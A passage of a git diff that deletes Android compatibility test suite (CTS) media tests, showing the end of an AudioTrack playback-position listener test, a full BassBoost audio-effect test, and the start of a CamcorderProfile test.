- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-import android.media.AudioTrack.OnPlaybackPositionUpdateListener;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Message;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.util.ArrayList;
-
-@NonMediaMainlineTest
-public class AudioTrack_ListenerTest extends CtsAndroidTestCase {
-    private final static String TAG = "AudioTrack_ListenerTest";
-    private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
-    private final static int TEST_SR = 11025;
-    private final static int TEST_CONF = AudioFormat.CHANNEL_OUT_MONO;
-    private final static int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
-    private final static int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-    private final static int TEST_LOOP_FACTOR = 2; // # loops (>= 1) for static tracks
-                                                   // simulated for streaming.
-    private final static int TEST_BUFFER_FACTOR = 25;
-    private boolean mIsHandleMessageCalled;
-    private int mMarkerPeriodInFrames;
-    private int mMarkerPosition;
-    private int mFrameCount;
-    private Handler mHandler = new Handler(Looper.getMainLooper()) {
-        @Override
-        public void handleMessage(Message msg) {
-            mIsHandleMessageCalled = true;
-            super.handleMessage(msg);
-        }
-    };
-
-    public void testAudioTrackCallback() throws Exception {
-        doTest("streaming_local_looper", true /*localTrack*/, false /*customHandler*/,
-                30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/, AudioTrack.MODE_STREAM);
-    }
-
-    public void testAudioTrackCallbackWithHandler() throws Exception {
-        // with 100 periods per second, trigger back-to-back notifications.
-        doTest("streaming_private_handler", false /*localTrack*/, true /*customHandler*/,
-                100 /*periodsPerSecond*/, 10 /*markerPeriodsPerSecond*/, AudioTrack.MODE_STREAM);
-        // verify mHandler is used only for accessing its associated Looper
-        assertFalse(mIsHandleMessageCalled);
-    }
-
-    public void testStaticAudioTrackCallback() throws Exception {
-        doTest("static", false /*localTrack*/, false /*customHandler*/,
-                100 /*periodsPerSecond*/, 10 /*markerPeriodsPerSecond*/, AudioTrack.MODE_STATIC);
-    }
-
-    public void testStaticAudioTrackCallbackWithHandler() throws Exception {
-        String streamName = "test_static_audio_track_callback_handler";
-        doTest("static_private_handler", false /*localTrack*/, true /*customHandler*/,
-                30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/, AudioTrack.MODE_STATIC);
-        // verify mHandler is used only for accessing its associated Looper
-        assertFalse(mIsHandleMessageCalled);
-    }
-
-    private void doTest(String reportName, boolean localTrack, boolean customHandler,
-            int periodsPerSecond, int markerPeriodsPerSecond, final int mode) throws Exception {
-        mIsHandleMessageCalled = false;
-        final int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        final int bufferSizeInBytes;
-        if (mode == AudioTrack.MODE_STATIC && TEST_LOOP_FACTOR > 1) {
-            // use setLoopPoints for static mode
-            bufferSizeInBytes = minBuffSize * TEST_BUFFER_FACTOR;
-            mFrameCount = bufferSizeInBytes * TEST_LOOP_FACTOR;
-        } else {
-            bufferSizeInBytes = minBuffSize * TEST_BUFFER_FACTOR * TEST_LOOP_FACTOR;
-            mFrameCount = bufferSizeInBytes;
-        }
-
-        final AudioTrack track;
-        final AudioHelper.MakeSomethingAsynchronouslyAndLoop<AudioTrack> makeSomething;
-        if (localTrack) {
-            makeSomething = null;
-            track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF,
-                    TEST_FORMAT, bufferSizeInBytes, mode);
-        } else {
-            makeSomething =
-                    new AudioHelper.MakeSomethingAsynchronouslyAndLoop<AudioTrack>(
-                    new AudioHelper.MakesSomething<AudioTrack>() {
-                        @Override
-                        public AudioTrack makeSomething() {
-                            return new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF,
-                                TEST_FORMAT, bufferSizeInBytes, mode);
-                        }
-                    }
-                );
-           // create audiotrack on different thread's looper.
-           track = makeSomething.make();
-        }
-        final MockOnPlaybackPositionUpdateListener listener;
-        if (customHandler) {
-            listener = new MockOnPlaybackPositionUpdateListener(track, mHandler);
-        } else {
-            listener = new MockOnPlaybackPositionUpdateListener(track);
-        }
-
-        byte[] vai = AudioHelper.createSoundDataInByteArray(
-                bufferSizeInBytes, TEST_SR, 1024 /* frequency */, 0 /* sweep */);
-        int markerPeriods = Math.max(3, mFrameCount * markerPeriodsPerSecond / TEST_SR);
-        mMarkerPeriodInFrames = mFrameCount / markerPeriods;
-        markerPeriods = mFrameCount / mMarkerPeriodInFrames; // recalculate due to round-down
-        mMarkerPosition = mMarkerPeriodInFrames;
-
-        // check that we can get and set notification marker position
-        assertEquals(0, track.getNotificationMarkerPosition());
-        assertEquals(AudioTrack.SUCCESS,
-                track.setNotificationMarkerPosition(mMarkerPosition));
-        assertEquals(mMarkerPosition, track.getNotificationMarkerPosition());
-
-        int updatePeriods = Math.max(3, mFrameCount * periodsPerSecond / TEST_SR);
-        final int updatePeriodInFrames = mFrameCount / updatePeriods;
-        updatePeriods = mFrameCount / updatePeriodInFrames; // recalculate due to round-down
-
-        // we set the notification period before running for better period positional accuracy.
-        // check that we can get and set notification periods
-        assertEquals(0, track.getPositionNotificationPeriod());
-        assertEquals(AudioTrack.SUCCESS,
-                track.setPositionNotificationPeriod(updatePeriodInFrames));
-        assertEquals(updatePeriodInFrames, track.getPositionNotificationPeriod());
-
-        if (mode == AudioTrack.MODE_STATIC && TEST_LOOP_FACTOR > 1) {
-            track.setLoopPoints(0, vai.length, TEST_LOOP_FACTOR - 1);
-        }
-        // write data with single blocking write, then play.
-        assertEquals(vai.length, track.write(vai, 0 /* offsetInBytes */, vai.length));
-        track.play();
-
-        // sleep until track completes playback - it must complete within 1 second
-        // of the expected length otherwise the periodic test should fail.
-        final int numChannels =  AudioFormat.channelCountFromOutChannelMask(TEST_CONF);
-        final int bytesPerSample = AudioFormat.getBytesPerSample(TEST_FORMAT);
-        final int bytesPerFrame = numChannels * bytesPerSample;
-        final int trackLengthMs = (int)((double)mFrameCount * 1000 / TEST_SR / bytesPerFrame);
-        Thread.sleep(trackLengthMs + 1000);
-
-        // stop listening - we should be done.
-        listener.stop();
-
-        // Beware: stop() resets the playback head position for both static and streaming
-        // audio tracks, so stop() cannot be called while we're still logging playback
-        // head positions. We could recycle the track after stop(), which isn't done here.
-        track.stop();
-
-        // clean up
-        if (makeSomething != null) {
-            makeSomething.join();
-        }
-        listener.release();
-        track.release();
-
-        // collect statistics
-        final ArrayList<Integer> markerList = listener.getMarkerList();
-        final ArrayList<Integer> periodicList = listener.getPeriodicList();
-        // verify count of markers and periodic notifications.
-        assertEquals(markerPeriods, markerList.size());
-        assertEquals(updatePeriods, periodicList.size());
-        // verify actual playback head positions returned.
-        // the max diff should really be around 24 ms,
-        // but system load and stability will affect this test;
-        // we use 80ms limit here for failure.
-        final int tolerance80MsInFrames = TEST_SR * 80 / 1000;
-
-        AudioHelper.Statistics markerStat = new AudioHelper.Statistics();
-        for (int i = 0; i < markerPeriods; ++i) {
-            final int expected = mMarkerPeriodInFrames * (i + 1);
-            final int actual = markerList.get(i);
-            // Log.d(TAG, "Marker: expected(" + expected + ")  actual(" + actual
-            //        + ")  diff(" + (actual - expected) + ")");
-            assertEquals(expected, actual, tolerance80MsInFrames);
-            markerStat.add((double)(actual - expected) * 1000 / TEST_SR);
-        }
-
-        AudioHelper.Statistics periodicStat = new AudioHelper.Statistics();
-        for (int i = 0; i < updatePeriods; ++i) {
-            final int expected = updatePeriodInFrames * (i + 1);
-            final int actual = periodicList.get(i);
-            // Log.d(TAG, "Update: expected(" + expected + ")  actual(" + actual
-            //        + ")  diff(" + (actual - expected) + ")");
-            assertEquals(expected, actual, tolerance80MsInFrames);
-            periodicStat.add((double)(actual - expected) * 1000 / TEST_SR);
-        }
-
-        // report this
-        DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, reportName);
-        log.addValue("average_marker_diff", markerStat.getAvg(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("maximum_marker_abs_diff", markerStat.getMaxAbs(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("average_marker_abs_diff", markerStat.getAvgAbs(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("average_periodic_diff", periodicStat.getAvg(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("maximum_periodic_abs_diff", periodicStat.getMaxAbs(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("average_periodic_abs_diff", periodicStat.getAvgAbs(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.setSummary("unified_abs_diff", (periodicStat.getAvgAbs() + markerStat.getAvgAbs()) / 2,
-                ResultType.LOWER_BETTER, ResultUnit.MS);
-        log.submit(getInstrumentation());
-    }
-
-    private class MockOnPlaybackPositionUpdateListener
-                                        implements OnPlaybackPositionUpdateListener {
-        public MockOnPlaybackPositionUpdateListener(AudioTrack track) {
-            mAudioTrack = track;
-            track.setPlaybackPositionUpdateListener(this);
-        }
-
-        public MockOnPlaybackPositionUpdateListener(AudioTrack track, Handler handler) {
-            mAudioTrack = track;
-            track.setPlaybackPositionUpdateListener(this, handler);
-        }
-
-        public synchronized void onMarkerReached(AudioTrack track) {
-            if (mIsTestActive) {
-                int position = mAudioTrack.getPlaybackHeadPosition();
-                mOnMarkerReachedCalled.add(position);
-                mMarkerPosition += mMarkerPeriodInFrames;
-                if (mMarkerPosition <= mFrameCount) {
-                    assertEquals(AudioTrack.SUCCESS,
-                            mAudioTrack.setNotificationMarkerPosition(mMarkerPosition));
-                }
-            } else {
-                fail("onMarkerReached called when not active");
-            }
-        }
-
-        public synchronized void onPeriodicNotification(AudioTrack track) {
-            if (mIsTestActive) {
-                mOnPeriodicNotificationCalled.add(mAudioTrack.getPlaybackHeadPosition());
-            } else {
-                fail("onPeriodicNotification called when not active");
-            }
-        }
-
-        public synchronized void stop() {
-            mIsTestActive = false;
-        }
-
-        public ArrayList<Integer> getMarkerList() {
-            return mOnMarkerReachedCalled;
-        }
-
-        public ArrayList<Integer> getPeriodicList() {
-            return mOnPeriodicNotificationCalled;
-        }
-
-        public synchronized void release() {
-            mAudioTrack.setPlaybackPositionUpdateListener(null);
-            mAudioTrack = null;
-        }
-
-        private boolean mIsTestActive = true;
-        private AudioTrack mAudioTrack;
-        private ArrayList<Integer> mOnMarkerReachedCalled = new ArrayList<Integer>();
-        private ArrayList<Integer> mOnPeriodicNotificationCalled = new ArrayList<Integer>();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/BassBoostTest.java b/tests/tests/media/src/android/media/cts/BassBoostTest.java
deleted file mode 100644
index 5055a2a..0000000
--- a/tests/tests/media/src/android/media/cts/BassBoostTest.java
+++ /dev/null
@@ -1,437 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.audiofx.AudioEffect;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.audiofx.BassBoost;
-import android.os.Looper;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-@NonMediaMainlineTest
-public class BassBoostTest extends PostProcTestBase {
-
-    private String TAG = "BassBoostTest";
-    private final static short TEST_STRENGTH = 500;
-    private final static short TEST_STRENGTH2 = 1000;
-    private final static float STRENGTH_TOLERANCE = 1.1f;  // 10%
-    private final static int MAX_LOOPER_WAIT_COUNT = 10;
-
-    private BassBoost mBassBoost = null;
-    private BassBoost mBassBoost2 = null;
-    private ListenerThread mEffectListenerLooper = null;
-
-    //-----------------------------------------------------------------
-    // BASS BOOST TESTS:
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 0 - constructor
-    //----------------------------------
-
-    //Test case 0.0: test constructor and release
-    public void test0_0ConstructorAndRelease() throws Exception {
-        if (!isBassBoostAvailable()) {
-            return;
-        }
-        BassBoost eq = null;
-        try {
-            eq = new BassBoost(0, getSessionId());
-            try {
-                assertTrue("invalid effect ID", (eq.getId() != 0));
-            } catch (IllegalStateException e) {
-                fail("BassBoost not initialized");
-            }
-            // test passed
-        } catch (IllegalArgumentException e) {
-            fail("BassBoost not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        } finally {
-            if (eq != null) {
-                eq.release();
-            }
-        }
-    }
-
-
-    //-----------------------------------------------------------------
-    // 1 - get/set parameters
-    //----------------------------------
-
-    //Test case 1.0: test strength
-    public void test1_0Strength() throws Exception {
-        if (!isBassBoostAvailable()) {
-            return;
-        }
-        getBassBoost(getSessionId());
-        try {
-            if (mBassBoost.getStrengthSupported()) {
-                short strength = mBassBoost.getRoundedStrength();
-                strength = (strength == TEST_STRENGTH) ? TEST_STRENGTH2 : TEST_STRENGTH;
-                mBassBoost.setStrength((short)strength);
-                short strength2 = mBassBoost.getRoundedStrength();
-                // allow STRENGTH_TOLERANCE difference between set strength and rounded strength
-                assertTrue("got incorrect strength",
-                        ((float)strength2 > (float)strength / STRENGTH_TOLERANCE) &&
-                        ((float)strength2 < (float)strength * STRENGTH_TOLERANCE));
-            } else {
-                short strength = mBassBoost.getRoundedStrength();
-                assertTrue("got incorrect strength", strength >= 0 && strength <= 1000);
-            }
-            // test passed
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseBassBoost();
-        }
-    }
-
-    //Test case 1.1: test properties
-    public void test1_1Properties() throws Exception {
-        if (!isBassBoostAvailable()) {
-            return;
-        }
-        getBassBoost(getSessionId());
-        try {
-            BassBoost.Settings settings = mBassBoost.getProperties();
-            String str = settings.toString();
-            settings = new BassBoost.Settings(str);
-
-            short strength = settings.strength;
-            if (mBassBoost.getStrengthSupported()) {
-                strength = (strength == TEST_STRENGTH) ? TEST_STRENGTH2 : TEST_STRENGTH;
-            }
-            settings.strength = strength;
-            mBassBoost.setProperties(settings);
-            settings = mBassBoost.getProperties();
-
-            if (mBassBoost.getStrengthSupported()) {
-                // allow STRENGTH_TOLERANCE difference between set strength and rounded strength
-                assertTrue("got incorrect strength",
-                        ((float)settings.strength > (float)strength / STRENGTH_TOLERANCE) &&
-                        ((float)settings.strength < (float)strength * STRENGTH_TOLERANCE));
-            }
-            // test passed
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseBassBoost();
-        }
-    }
-
-    //Test case 1.2: test setStrength() throws exception after release
-    public void test1_2SetStrengthAfterRelease() throws Exception {
-        if (!isBassBoostAvailable()) {
-            return;
-        }
-        getBassBoost(getSessionId());
-        mBassBoost.release();
-        try {
-            mBassBoost.setStrength(TEST_STRENGTH);
-            fail("setStrength() processed after release()");
-        } catch (IllegalStateException e) {
-            // test passed
-        } finally {
-            releaseBassBoost();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 2 - Effect enable/disable
-    //----------------------------------
-
-    //Test case 2.0: test setEnabled() and getEnabled() in valid state
-    public void test2_0SetEnabledGetEnabled() throws Exception {
-        if (!isBassBoostAvailable()) {
-            return;
-        }
-        getBassBoost(getSessionId());
-        try {
-            mBassBoost.setEnabled(true);
-            assertTrue("invalid state from getEnabled", mBassBoost.getEnabled());
-            mBassBoost.setEnabled(false);
-            assertFalse("invalid state to getEnabled", mBassBoost.getEnabled());
-            // test passed
-        } catch (IllegalStateException e) {
-            fail("setEnabled() in wrong state");
-        } finally {
-            releaseBassBoost();
-        }
-    }
-
-    //Test case 2.1: test setEnabled() throws exception after release
-    public void test2_1SetEnabledAfterRelease() throws Exception {
-        if (!isBassBoostAvailable()) {
-            return;
-        }
-        getBassBoost(getSessionId());
-        mBassBoost.release();
-        try {
-            mBassBoost.setEnabled(true);
-            fail("setEnabled() processed after release()");
-        } catch (IllegalStateException e) {
-            // test passed
-        } finally {
-            releaseBassBoost();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 3 priority and listeners
-    //----------------------------------
-
-    //Test case 3.0: test control status listener
-    public void test3_0ControlStatusListener() throws Exception {
-        if (!isBassBoostAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mHasControl = true;
-            mInitialized = false;
-            createListenerLooper(true, false, false);
-            waitForLooperInitialization_l();
-
-            getBassBoost(mSession);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mHasControl && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseBassBoost();
-        }
-        assertFalse("effect control not lost by effect1", mHasControl);
-    }
-
-    //Test case 3.1: test enable status listener
-    public void test3_1EnableStatusListener() throws Exception {
-        if (!isBassBoostAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, true, false);
-            waitForLooperInitialization_l();
-
-            mBassBoost2.setEnabled(true);
-            mIsEnabled = true;
-            getBassBoost(mSession);
-            mBassBoost.setEnabled(false);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mIsEnabled && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseBassBoost();
-        }
-        assertFalse("enable status not updated", mIsEnabled);
-    }
-
-    //Test case 3.2: test parameter changed listener
-    public void test3_2ParameterChangedListener() throws Exception {
-        if (!isBassBoostAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, false, true);
-            waitForLooperInitialization_l();
-
-            getBassBoost(mSession);
-            mChangedParameter = -1;
-            mBassBoost.setStrength(TEST_STRENGTH);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while ((mChangedParameter == -1) && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseBassBoost();
-        }
-        assertEquals("parameter change not received",
-                BassBoost.PARAM_STRENGTH, mChangedParameter);
-    }
-
-    //-----------------------------------------------------------------
-    // private methods
-    //----------------------------------
-
-    private void getBassBoost(int session) {
-         if (mBassBoost == null || session != mSession) {
-             if (session != mSession && mBassBoost != null) {
-                 mBassBoost.release();
-                 mBassBoost = null;
-             }
-             try {
-                mBassBoost = new BassBoost(0, session);
-                mSession = session;
-            } catch (IllegalArgumentException e) {
-                Log.e(TAG, "getBassBoost() BassBoost not found exception: "+e);
-            } catch (UnsupportedOperationException e) {
-                Log.e(TAG, "getBassBoost() Effect library not loaded exception: "+e);
-            }
-         }
-         assertNotNull("could not create mBassBoost", mBassBoost);
-    }
-
-    private void releaseBassBoost() {
-        if (mBassBoost != null) {
-            mBassBoost.release();
-            mBassBoost = null;
-        }
-    }
-
-    private void waitForLooperInitialization_l() {
-        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-        while (!mInitialized && (looperWaitCount-- > 0)) {
-            try {
-                mLock.wait();
-            } catch(Exception e) {
-            }
-        }
-        assertTrue(mInitialized);
-    }
-
-    // Initializes the bassboot listener looper
-    class ListenerThread extends Thread {
-        boolean mControl;
-        boolean mEnable;
-        boolean mParameter;
-
-        public ListenerThread(boolean control, boolean enable, boolean parameter) {
-            super();
-            mControl = control;
-            mEnable = enable;
-            mParameter = parameter;
-        }
-
-        public void cleanUp() {
-            if (mBassBoost2 != null) {
-                mBassBoost2.setControlStatusListener(null);
-                mBassBoost2.setEnableStatusListener(null);
-                mBassBoost2.setParameterListener(
-                        (BassBoost.OnParameterChangeListener)null);
-            }
-        }
-    }
-
-    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
-        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
-            @Override
-            public void run() {
-                // Set up a looper
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                mSession = getSessionId();
-                mBassBoost2 = new BassBoost(0, mSession);
-                assertNotNull("could not create bassboot2", mBassBoost2);
-
-                synchronized(mLock) {
-                    if (mControl) {
-                        mBassBoost2.setControlStatusListener(
-                                new AudioEffect.OnControlStatusChangeListener() {
-                            public void onControlStatusChange(
-                                    AudioEffect effect, boolean controlGranted) {
-                                synchronized(mLock) {
-                                    if (effect == mBassBoost2) {
-                                        mHasControl = controlGranted;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mEnable) {
-                        mBassBoost2.setEnableStatusListener(
-                                new AudioEffect.OnEnableStatusChangeListener() {
-                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
-                                synchronized(mLock) {
-                                    if (effect == mBassBoost2) {
-                                        mIsEnabled = enabled;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mParameter) {
-                        mBassBoost2.setParameterListener(new BassBoost.OnParameterChangeListener() {
-                            public void onParameterChange(BassBoost effect, int status,
-                                    int param, short value)
-                            {
-                                synchronized(mLock) {
-                                    if (effect == mBassBoost2) {
-                                        mChangedParameter = param;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-
-                    mInitialized = true;
-                    mLock.notify();
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        };
-        mEffectListenerLooper.start();
-    }
-
-    // Terminates the listener looper thread.
-    private void terminateListenerLooper() {
-        if (mEffectListenerLooper != null) {
-            mEffectListenerLooper.cleanUp();
-            if (mLooper != null) {
-                mLooper.quit();
-                mLooper = null;
-            }
-            try {
-                mEffectListenerLooper.join();
-            } catch(InterruptedException e) {
-            }
-            mEffectListenerLooper = null;
-        }
-
-        if (mBassBoost2 != null) {
-            mBassBoost2.release();
-            mBassBoost2 = null;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
deleted file mode 100644
index 3eecb04..0000000
--- a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
+++ /dev/null
@@ -1,539 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.pm.PackageManager;
-import android.hardware.Camera;
-import android.hardware.Camera.Parameters;
-import android.hardware.Camera.Size;
-import android.hardware.cts.helpers.CameraUtils;
-import android.media.CamcorderProfile;
-import android.media.EncoderProfiles;
-import android.media.MediaCodecInfo;
-import android.media.MediaFormat;
-import android.media.MediaRecorder;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.util.Arrays;
-import java.util.List;
-
-@NonMediaMainlineTest
-public class CamcorderProfileTest extends AndroidTestCase {
-
-    private static final String TAG = "CamcorderProfileTest";
-    private static final int MIN_HIGH_SPEED_FPS = 100;
-    private static final Integer[] ALL_SUPPORTED_QUALITIES = {
-        CamcorderProfile.QUALITY_LOW,
-        CamcorderProfile.QUALITY_HIGH,
-        CamcorderProfile.QUALITY_QCIF,
-        CamcorderProfile.QUALITY_CIF,
-        CamcorderProfile.QUALITY_480P,
-        CamcorderProfile.QUALITY_720P,
-        CamcorderProfile.QUALITY_1080P,
-        CamcorderProfile.QUALITY_QVGA,
-        CamcorderProfile.QUALITY_2160P,
-        CamcorderProfile.QUALITY_VGA,
-        CamcorderProfile.QUALITY_4KDCI,
-        CamcorderProfile.QUALITY_QHD,
-        CamcorderProfile.QUALITY_2K,
-        CamcorderProfile.QUALITY_8KUHD,
-
-        CamcorderProfile.QUALITY_TIME_LAPSE_LOW,
-        CamcorderProfile.QUALITY_TIME_LAPSE_HIGH,
-        CamcorderProfile.QUALITY_TIME_LAPSE_QCIF,
-        CamcorderProfile.QUALITY_TIME_LAPSE_CIF,
-        CamcorderProfile.QUALITY_TIME_LAPSE_480P,
-        CamcorderProfile.QUALITY_TIME_LAPSE_720P,
-        CamcorderProfile.QUALITY_TIME_LAPSE_1080P,
-        CamcorderProfile.QUALITY_TIME_LAPSE_QVGA,
-        CamcorderProfile.QUALITY_TIME_LAPSE_2160P,
-        CamcorderProfile.QUALITY_TIME_LAPSE_VGA,
-        CamcorderProfile.QUALITY_TIME_LAPSE_4KDCI,
-        CamcorderProfile.QUALITY_TIME_LAPSE_QHD,
-        CamcorderProfile.QUALITY_TIME_LAPSE_2K,
-        CamcorderProfile.QUALITY_TIME_LAPSE_8KUHD,
-
-        CamcorderProfile.QUALITY_HIGH_SPEED_LOW,
-        CamcorderProfile.QUALITY_HIGH_SPEED_HIGH,
-        CamcorderProfile.QUALITY_HIGH_SPEED_480P,
-        CamcorderProfile.QUALITY_HIGH_SPEED_720P,
-        CamcorderProfile.QUALITY_HIGH_SPEED_1080P,
-        CamcorderProfile.QUALITY_HIGH_SPEED_2160P,
-        CamcorderProfile.QUALITY_HIGH_SPEED_CIF,
-        CamcorderProfile.QUALITY_HIGH_SPEED_VGA,
-        CamcorderProfile.QUALITY_HIGH_SPEED_4KDCI,
-    };
-    private static final int LAST_QUALITY = CamcorderProfile.QUALITY_8KUHD;
-    private static final int LAST_TIMELAPSE_QUALITY = CamcorderProfile.QUALITY_TIME_LAPSE_8KUHD;
-    private static final int LAST_HIGH_SPEED_QUALITY = CamcorderProfile.QUALITY_HIGH_SPEED_4KDCI;
-    private static final Integer[] UNKNOWN_QUALITIES = {
-        LAST_QUALITY + 1, // Unknown normal profile quality
-        LAST_TIMELAPSE_QUALITY + 1, // Unknown timelapse profile quality
-        LAST_HIGH_SPEED_QUALITY + 1 // Unknown high speed timelapse profile quality
-    };
-
-    // Uses get without id if cameraId == -1 and get with id otherwise.
-    private CamcorderProfile getWithOptionalId(int quality, int cameraId) {
-        if (cameraId == -1) {
-            return CamcorderProfile.get(quality);
-        } else {
-            return CamcorderProfile.get(cameraId, quality);
-        }
-    }
-
-    private void checkProfile(CamcorderProfile profile, List<Size> videoSizes) {
-        Log.v(TAG, String.format("profile: duration=%d, quality=%d, " +
-            "fileFormat=%d, videoCodec=%d, videoBitRate=%d, videoFrameRate=%d, " +
-            "videoFrameWidth=%d, videoFrameHeight=%d, audioCodec=%d, " +
-            "audioBitRate=%d, audioSampleRate=%d, audioChannels=%d",
-            profile.duration,
-            profile.quality,
-            profile.fileFormat,
-            profile.videoCodec,
-            profile.videoBitRate,
-            profile.videoFrameRate,
-            profile.videoFrameWidth,
-            profile.videoFrameHeight,
-            profile.audioCodec,
-            profile.audioBitRate,
-            profile.audioSampleRate,
-            profile.audioChannels));
-        assertTrue(profile.duration > 0);
-        assertTrue(Arrays.asList(ALL_SUPPORTED_QUALITIES).contains(profile.quality));
-        assertTrue(profile.videoBitRate > 0);
-        assertTrue(profile.videoFrameRate > 0);
-        assertTrue(profile.videoFrameWidth > 0);
-        assertTrue(profile.videoFrameHeight > 0);
-        assertTrue(profile.audioBitRate > 0);
-        assertTrue(profile.audioSampleRate > 0);
-        assertTrue(profile.audioChannels > 0);
-        assertTrue(isSizeSupported(profile.videoFrameWidth,
-                                   profile.videoFrameHeight,
-                                   videoSizes));
-    }
-
-    private void checkAllProfiles(EncoderProfiles allProfiles, CamcorderProfile profile,
-                                  List<Size> videoSizes) {
-        Log.v(TAG, String.format("profile: duration=%d, quality=%d, " +
-            "fileFormat=%d, videoCodec=%d, videoBitRate=%d, videoFrameRate=%d, " +
-            "videoFrameWidth=%d, videoFrameHeight=%d, audioCodec=%d, " +
-            "audioBitRate=%d, audioSampleRate=%d, audioChannels=%d",
-            profile.duration,
-            profile.quality,
-            profile.fileFormat,
-            profile.videoCodec,
-            profile.videoBitRate,
-            profile.videoFrameRate,
-            profile.videoFrameWidth,
-            profile.videoFrameHeight,
-            profile.audioCodec,
-            profile.audioBitRate,
-            profile.audioSampleRate,
-            profile.audioChannels));
-        // generic fields must match the corresponding CamcorderProfile
-        assertEquals(profile.duration, allProfiles.getDefaultDurationSeconds());
-        assertEquals(profile.fileFormat, allProfiles.getRecommendedFileFormat());
-        boolean first = true;
-        for (EncoderProfiles.VideoProfile videoProfile : allProfiles.getVideoProfiles()) {
-            if (first) {
-                // the first profile must be the default profile which must match
-                // the corresponding CamcorderProfile
-                assertEquals(profile.videoCodec, videoProfile.getCodec());
-                assertEquals(profile.videoBitRate, videoProfile.getBitrate());
-                assertEquals(profile.videoFrameRate, videoProfile.getFrameRate());
-                first = false;
-            }
-            // all profiles must be the same size
-            assertEquals(profile.videoFrameWidth, videoProfile.getWidth());
-            assertEquals(profile.videoFrameHeight, videoProfile.getHeight());
-            assertTrue(videoProfile.getMediaType() != null);
